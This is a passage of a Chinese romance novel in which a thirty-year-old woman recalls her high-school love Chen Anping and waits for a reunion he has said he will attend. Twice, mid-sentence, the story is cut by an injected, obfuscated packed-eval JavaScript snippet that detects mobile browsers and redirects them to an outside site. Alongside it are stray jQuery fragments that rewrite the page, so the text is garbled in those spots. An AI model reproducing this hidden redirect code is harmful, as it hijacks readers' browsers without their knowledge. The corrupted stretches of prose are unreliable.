陈安平望着走廊栏杆外的竹林，下意识用这样的话平息她的不悦。 施清如不信他的鬼话，凝视他说：“去问你爸要，他该给你的，不给就告他！” 微凉的风穿过密叶，周遭的萧萧声不像春夏，更像陈安平去长城的秋。 施清如站在陈峰居住的两层房屋下，身后骑过的电瓶车朝她鸣了两声喇叭，她侧身避让开。 十多年前，她和陈安平一起站在这里，一起被喇叭鸣。陈安平起初一直不让她跟来，架不住她像狗皮膏药似的贴上去。 来这里之前，陈安平静静凝视她，说了一句话。 “施清如，那里很脏、很旧。” 施清如看着他，“那又如何？” 躲过电瓶车的施清如抬起手，捏了捏身旁一团空气，手里空无一物，她仿佛能闻见空气里的一股霉味。 耳畔传来陈安平当年的声音。 “爸，我来找你拿抚养费的，还有之前向你借的学费。” 陈安平那时的背脊很挺，站在门前，顶天立地快顶到门框。 三十岁的施清如抬起头，那门框很高，一点也不矮，就算是陈安平也顶不到门框。也许是她的记忆出现了偏差；也许是那时自己仰头光顾着看陈安平，注意不到他头顶上方的空间。 她的目光总是太关注他。 施清如独自敲响红棕色的木门，门上的漆已经剥落大半，门把手由细小的蛛网封锁。蛛网被风吹得晃动，告诉她这一切不过是旧时的遗物。 十几年前的陈峰刚踏进四十岁的门槛，平心而论，他的模样比大部分家长都好。个高、腿长，没有啤酒肚，五官浓烈深邃，没有半点浮肿，和电视上风华刚过的明星没什么分别。 陈安平比他高一点，父子俩几乎平视着对方。 那是施清如第一次见到陈峰，此前他从未参加过家长会，都是谢莹淇拖着病躯来的，实在来不了的时候，有位远房亲戚来过一次，其余时候陈安平的那一桌总是空着。 面对开门见山的儿子，陈峰淡漠地扫了一眼他和身旁陌生的女孩。 在他身后的晦暗屋子里，有个比两孩子大不了几岁的女人，是他的新女友。陈峰年轻时候便受欢迎，老了也不减魅力。 施清如皱着脸在心里唾弃了一声。 都是男人，陈峰和王文忠有着天壤之别。她不由在心里心疼起陈安平的妈妈。 “你妈妈让你来的？”陈峰脖子上挂着条毛巾，穿着白色背心，抬眼问，“她又是谁？” 施清如刚想说话，陈安平抢先回答：“同学。” 陈峰刚醒没多久，眼皮半耷拉着，回身从屋内木头柜子上拿起皮夹，掏出十几张红票子给陈安平，“先拿去用，多的暂时没有。” 陈安平垂下眼睛，迟迟没有抬手。 施清如是急性子，受不了两个人拖拉的动作，伸手拿过那叠钱数了数。 一千八百块。 “陈先生，”她闭上眼翻了个白眼，改口，“陈爸爸，你已经欠了陈安平两年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314047|152368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的抚养费，你应该也知道他妈妈如今在医院，治疗费用很高，他的学费也不低。作为他的生父，你是不是应该多负点责任？” 陈峰还没合上钱包，抬眼瞧了下施清如，嗤笑了一声：“哪儿来的丫头？我和我儿子说话，有你什么事？” 施清如愣了下，她确实逾矩了、越界了。倒不是如陈峰这句话，而是她意识到她没给陈安平说话的机会。 她看了看陈安平。 陈峰伸手要去拿回施清如手里的钱，她下意识把钱卷进胳膊里，眼睛一斜瞪过去。她那时天不怕地不怕。 陈峰脾气不是个好的，浓眉一皱，跨步出门就要抢，施清如连连后退，身高差让陈峰看起来十分唬人。 在陈峰够到她之前，陈安平跨步横在了他们之间，手一伸把施清如捞到自己身后，右手攥着她的胳膊。 陈安平这一站，把施清如挡得严严实实。 他身上还穿着蓝白校服，施清如贴在他后背，闻到他身上的栀子花香，也许是在教学楼底的栀子花丛里染上的。 她静静将额头贴在他背上，鼻尖有纸钱的油墨味和他身上的味道。 陈安平对陈峰说：“这些钱我先收下，谢谢你。方便的话，下次可以直接把钱汇到妈妈账户里，麻烦你了。” 他说话的时候，身体在起伏，脊骨在颤动。 施清如闭眼跟着他的起伏而起伏。 她把身体一半的重量都倾倒在了陈安平后背，拿着钱的手不由自主抓住了他的衣服。 像是一次她单方面对陈安平的拥抱。 陈、安、平。 施清如望着人去楼空的破旧混凝土楼房，蜘蛛从蛛网上爬过。 她烦闷地抓了抓被蚊子叮咬过的手指，咬在指缝间，最难受。转眼又到蚊子猖獗的时节。 回想起来，她那时候横冲直撞进陈安平的个人生活，他会不会是因为这个而讨厌她？不止一个人说过，她没有边界感。年轻的时候风风火火介入别人的事，有人感激，自然也有人嫌恶。 施清如从黑暗、发霉的楼道走下去，眼睛没入黑暗，又走进光明。 这个季节的温度只需要穿一件有厚度的单衣，在阳光下便感到暖和，在荫处吹风便感到寒凉。身体忽冷忽热，像刚才一颗烧红的心忽然又滚入冰窖。 陈安平讨厌她吗？ 施清如从前曾笃定他喜欢她，但这份自信心早在时月里消融。 回头再次举目看向人去楼空的地方，失去人的气后，它仿佛随时能倒塌。不是没人想过要将这片拆掉重建，但整个小区都在市中心地段，拆起来需大动干戈，耗价不菲。小区里还有极少数念旧不肯挪窝的老教授和职工居住，校方不可能将他们赶走。 这地就成了嘈杂中一片宁静的密林，尘封着很多人的曾经。 施清如不知道自己还该如何找下去，去学校托人打听陈峰搬去何处？ 找到陈安平之后呢？他想见她吗？ 心里的惴惴不安让施清如感到陌生。 她在极少情况下才会出现这样的情绪。 沉默已久的手机忽然响起，是一则微信消息通知，接连又有了别的消息。 蒋澜：「下个月恐怕不行，我问了大部分人，最早也要六月才有时间。你怎么说？六月行吗？」 施清如坐在花坛边的砖上，晾了这条消息很久。 她有一种直觉。 直觉告诉她陈安平不会来。 她不知道自己还是否想去这个同学会。 蒋澜：「找个户外营地烧烤还是去饭店包厢吃？户外还能玩玩游戏，比饭店有趣些。」 施清如闭上眼，在蒋澜冰释前嫌的热情中打字回复。 「我都行，你安排好通知我具体的时间就好。」 她刚想收起叮叮叫个不停的手机。 赫然看见蒋澜又发来一条新信息。 「对了，我问过陈安平了，他说他会来。」 11. 011 蒋澜的电话响了。 那头是风与施清如的声音。 “你说什么？” 蒋澜拿远手机，看了眼屏幕，又贴回到耳边，“什么什么？” 施清如身上的汗毛都被风吹立了。 “陈安平会来？” “对，他是这么回答我的。” “你……怎么联系上他的？” “Q/Q，微信他没回，应该是不用那个号了。”蒋澜放低声音，“施清如，我还在工作，你有什么事还是用微信给我留言吧。” 挂断电话后，施清如没再给蒋澜留言。 她没有任何想问的话了。 她捏着手机坐在花坛边，手臂挂在膝盖上，出神望着旧房。 半晌，她忽然失笑了声，用手掌抵住自己的额中，闭眼埋着头，压制不住嘴角飞扬起来的弧度。过了会儿，她深深吸了一口气，空气里的霉味像被叶片缝隙漏下来的光驱散了。施清如收起笑容，依旧低着头，渐渐弯下腰蜷缩到自己膝盖上。 视线没有焦点地落在花坛边搬迁的蚂蚁队伍中。 他会来。 闭眼回想起上一次见他，是九年前。 那时他们不过二十一岁，陈安平距离法定结婚年龄还剩下最后一年。 施清如搓了搓自己的脸颊，感受皮肤的触感。 只是一眨眼的时间，他们三十岁了。足足九年的时光，像寺庙里燃尽的香火，只剩下灰烟，最后将被铲子清扫走。 现在是四月底，距离相约之期还有一个多月的时间，说长不长，说短不短，看和什么比。和九年比起来，它算不了什么。 如今正是白玉兰落，栀子花盛的时节。 破旧小区的青墙外就有株在落花的白玉兰，只是无栀子花香。 高中时，施清如最喜欢的不是情侣幽会的竹林，而是教学楼底的栀子花丛。 成华中学的栀子花种得很密，繁星一样的白花开在翠绿的叶上。它的香气是清冷、淡雅的，却不谦恭，聚在一起浓烈地入侵人的身体。但它不刺鼻、不甜腻，随清风浮来的香气令人动容。 她的高中回忆总伴有栀子花的香气，那香也是陈安平的味道。 “陈安平，周六我想去KTV为十佳歌手练习，但是一个人包一间房太亏了，雨灵要去补习班，你能不能来陪我呀？” “我……” “别废话，你就说你会不会来？唱完歌我陪你一起去浙二看阿姨。” 陈安平静默许久，“我会来。” “陈安平，我想去银泰买衣服、吃日料，你来不来陪我？” “……来。” “陈安平，周末一起去图书馆自习吧！我上次语文考了116，英语也进步了，可把周大头高兴坏了，你再给我补习点英语吧，这次月考我想进年级前三十，不，是前二十！你来吗？” “好，我来。” 施清如知道十次中有九次，他都不是百分百的心甘情愿，但陈安平从来不会食言，他言出必行。 去图书馆那天，施清如为了抢最好的座位提前一小时便抵达，坐下不多时，窗外就下起了暴雨，雨丝横飘，树都折了腰。 她家就在这附近，陈安平家离得远，她想当然觉得他不会来了，在Q/Q上给他发信息，也没有得到回应。约定的时间过去一刻钟，她彻底打消希望，自顾自埋头苦读。 做了半张卷子，施清如抬起头伸懒腰，忽然怔住，舒展的手臂都来不及收回。 只见陈安平湿淋淋地朝她走来，灰色卫衣上只剩下不到20%的面积未被淋湿。他将书包护在胸口，额前碎发滴着水，一直流到他眼睛里。 这个图书馆不算安静，周末有很多大叔大姨带孩子来，时不时会有些尖叫声，紧接着是旁人的呵斥声。比起图书馆，它更像是一个市民活动中心，供老百姓休息、打发时间。 在这些窸窸窣窣声中，陡然响起一个极轻却清晰的声音。 “我来了。” 陈安平的嗓音温和、沙哑，涤荡施清如身上的困意。 她匆匆起身，把书包里所有纸巾往他身上覆，把他按在座位上，强迫他接受她的擦拭。 陈安平的头发很短，为了方便打理，从不留长刘海，摸上去总是刺刺的。但被雨水打湿后，这些刺不约而同变得极为柔软，乖巧地随她摆弄。 她玩得起劲，忘了自己的初衷，直到陈安平无可奈何抓住了她的手腕，抬眸轻声道：“可以了。” 湿漉漉的眼睛，好像浓雾弥漫森林中出现的麋鹿，长着最野蛮、壮丽的鹿角，像不会生芽开花的枯枝。 施清如看得有些恍惚，指背无意识地抚到他冰凉的脸颊上，沾着潮气，像晨露。 陈安平的身体震了下，往后仰了一寸，离开她的触碰。施清如也回过神，看着他松开自己的手腕，蓦地笑了。她抽了张新纸巾，不温柔地拍到他额头上。 “闭眼。” 她用气声说。 陈安平没反应，用上目线看着她。 她歪了歪脑袋，凑到他耳朵边，“给你擦眼睛上的雨水，又不是要亲你，扭捏什么？” 说完她立即退开，想欣赏陈安平的表情变化，结果大失所望，他只是面无波澜地闭上了眼。施清如哼了声。 纤长的睫毛，白皙干净的皮肤，陈安平眼睛的弧度也很好看，像两颗杏核。眉骨高高，嵌着眼睛，脸的轮廓硬朗。陈安平的嘴唇不是其他男同学那种深玫色，要淡一些，看着更清爽。他的嘴唇形状长得极好，有厚度有弧度，看起来柔软好亲。整个人英气又清透。 施清如耳边回荡自己才说过的话。 她是想亲上去。 “怎么不擦了？” 陈安平睁眼，深沉注视她。 施清如撇了撇嘴，快速给他擦干净，故意没有把纸屑从他脸上拿下来。 她坐下，把卷子递到他面前，圈了几道一知半解的题目请教他。听了一半，她忽然问：“你怎么过来的？” “坐公车。” “没带伞？” “嗯。” 施清如早上出门的时候天色不错，看着不像会下雨的模样，陈安平大抵也这么以为。她知道图书馆最近的公交车站在三百米外，他肯定是跑过来的。 她淡淡感慨了一句：“这样的天气，我还以为你不会来了。” 陈安平默了片刻，“我说过我会来的。” 施清如侧头，扬起唇角看他，用指尖挑了挑他的下巴，轻笑道：“陈同学挺讲信用，真不错。” 他低头拂开她不像话的手，用没有打开盖子的水笔敲了敲卷面，“还要不要补习了？” “要。” 施清如笑笑，身体往他那边靠过去，肩头碰肩头，占尽他便宜。 陈安平说了他会来，他就一定会来。 他就是这样的人。 - 五月降临，施琴仍在为施清如张罗相亲的事。 她听了朋友的危言耸听，认为三十岁还没有对象对女人来说是灾难。 但她也知道施清如吃软不吃硬，只能旁敲侧击地软磨硬泡，希望她能再去见见新的男人，向她保证这次的不是老腊肉，是比她小一岁的程序员。 施清如盘腿坐在沙发上啃苹果，笑盈盈告诉施琴：“等我六月去见过一个人之后再说。” “见人？”施琴疑惑，“谁？” “一个……”她顿了顿，找不准形容词，“总之是一个人。” “为什么要见过他之后再决定？” 施清如起身去扔苹果核，没有正面回答：“反正我现在就是不想相亲，我相了这么多个，没有一个看对眼的。妈，你就让我歇歇吧，别衬得我多恨嫁似的。” “哎你这孩子，你要是才二十五岁我就不急了！” 施清如转了个圈，抱住施琴，嬉皮笑脸道：“你女儿三十也是一枝花。” “快去洗手，”施琴拍了下她黏糊糊的手，“你最近心情挺不错的？” 施清如打开水龙头，看镜中的自己，“还可以。” “发生什么好事了？” “妈，我是不是有点太瘦了？和高中、大学的时候比。” 她答非所问。 “没有啊，你现在的身材刚刚好，年轻女孩子不都是在追求苗条？” 施清如抬头挺胸撅了下屁股，做作得像要去拍衣服广告的模特，“也不是越苗条越好，还是得追求健康。” “啪！” 施琴在施清如屁股上用力拍了下，咯咯笑起来。 “妈你干嘛，痛！” “我怎么生了个自恋狂？” 施清如边揉屁股边拍马屁，“我遗传了你的美貌，还不能自恋一下？” “油嘴滑舌。” 施琴被她哄得可开心，对镜开始整理头发。 回到房间，一切又安静得像凌晨时分。 施清如打开游戏浅玩了一个小时，修了几张照片，看了二十页散文集。 注意力跳跃在不同事上，无法集中。 电脑停留在Q/Q页面上，她的手里摊着那本旧时的备忘录。 上面记着陈安平的Q/Q号。 施清如在想要不要申请加他好友。 但当初是她删掉他的，这样会不会显得她挺没自尊？ 这么一件小事，她已经犹豫了足足半个月，半点不像平时雷厉风行的她。 终于下定决心，她输入陈安平的号码。 他的头像没变过，还是高中时就用的一张网图。 一幅水彩画。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315601|152368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只白猫卷着身体躺在三叶草坪中睡觉。 好不惬意。 填写验证信息。 「我是施清如。」 打完字又删掉。 「陈安平，我是施清如，加一下。」 不行。 「陈安平，和好吧？」 太奇怪。 施清如烦躁地仰头对天花板嚎叫了一声，一头栽进被窝中蠕动起来。 她还记得她第一次加陈安平时是这么写的。 「陈安平你好，我是隔壁班的施清如，我和同学玩真心话大冒险，赌你会不会同意加我。帮我一个忙吧。」 陈安平心软，同意了。 加上她之后，他发来第一句话是：「大冒险通过了吗？」 施清如那时躺在家里，看着他的消息在床上笑成拧了几圈的麻花，仿佛看见了陈安平一本正经的脸。 之后他们没有在Q/Q上说过话，直到分到同一个班级后。 三十岁的施清如想了想，删删改改一行字，终于发送出去。 「陈安平，我是施清如。你结婚了吗？」 她打算等他通过好友申请后，再告诉他这只是一次大冒险。 - 五月底，在浙大留校当老师的大学同学朱岩给施清如带来一个消息。 “陈峰搬去滨江了，用他爸妈早年的拆迁款贷款买的房，现在条件怪好的嘞。” 施清如正在敷面膜，沉默聆听，没有太多表情。 “我把小区名字和他的电话号码发给你，具体地址不太好说。”朱岩问她，“你找他做什么？你和他有关系？他早几年二婚了，第二任老婆比他年轻十几岁呢。” “你有他前妻的消息吗？” 九年。 施清如在这九年里也曾装作不经意地探听过谢莹淇的消息，知道她从浙二解放路院区转院了。以前她和陈安平租的房子也不住了，房东出国，把房卖了，母子两个人只能另寻他处。 陈安平六年前去英国了，想必生活条件比高中时有了极大提升，谢莹淇没准已经康复，随儿子去英国生活享清福。 “前妻？我听老职工提到过几句，姓谢，特别温柔但身体不太好的那个？” “嗯。” “没听到什么消息。要不我再帮你打听打听？” 施清如撕下面膜，皮肤水润地反着光，“麻烦你了，尽量不要惊动陈峰。” “没问题，你平时也不麻烦我什么，倒是之前我女儿读幼儿园的事你还帮了我大忙，你这点小忙我肯定是要帮你的。” 施清如笑了笑，“谢谢啊。你女儿最近怎么样？” “可皮了，前段时间……” 电脑屏幕亮着荧光。 施清如均匀呼吸着，听朱岩描述他的幸福生活。柴米油盐酱醋茶，还有小孩的烦心事，但他一边抱怨，一边流露出笑意，乐在其中。 这是施清如曾经构想的三十岁。 在计划中，她和陈安平两情相悦，在二十二岁时结婚，二十五岁左右生一个孩子，三十岁孩子在上幼儿园，她和陈安平继续没羞没臊。 不过从第一步开始就错了。 也许从来没有两情相悦。 同学会的时间敲定下来后，施清如就没有再点开过陈安平的青青网主页。 回忆是令人上瘾的毒药，带着朦胧柔光的滤镜，美化每一段留有遗憾的过往。 她原本对陈安平是有怨气的，像沼泽上冒出的咕噜咕噜绿泡。但回忆和那些她第一次见到的陈安平照片，在她脑海里打了一个响指，轻而易举又诡异地消解了这浓烈的怨。 施清如觉得自己也许把陈安平这人想得太好了，也许她那些看似清晰的美好记忆，都是因为她的执念作祟。就像言静说的那只机械怀表，匆匆回到马德里将它买回来，却发现它其实不如记忆中初次见到时美妙。 施清如不希望在真正见到三十岁的陈安平之前，让自己陷得太深。她可以对陈安平表白三次，是因为她觉得陈安平值得，是因为她觉得陈安平只是害羞，需要她来捅破最后一层纱。 但不代表她愿意没自尊地伏到他面前去。 她暂时没法让自己百分百停止对陈安平的怀念，她可以在独自一人时选择清醒地沉沦， ——但在他面前，她不会再那样做。 施清如推开半扇窗户，让晚风吹拂树叶的声音闯入，伴随几声青蛙的鸣叫。马上就要是知了扯嗓歌唱的季节，她该珍惜眼下夜里的温和。 看着窗下路灯，她甚至有一点希望——希望出现在同学会的陈安平是一个大腹便便、地中海，泯然众人矣的男人。 如若这样，最多不过是会让施清如有一种青春喂了狗的反胃感。 总好过像吃了酸枣般念念不忘。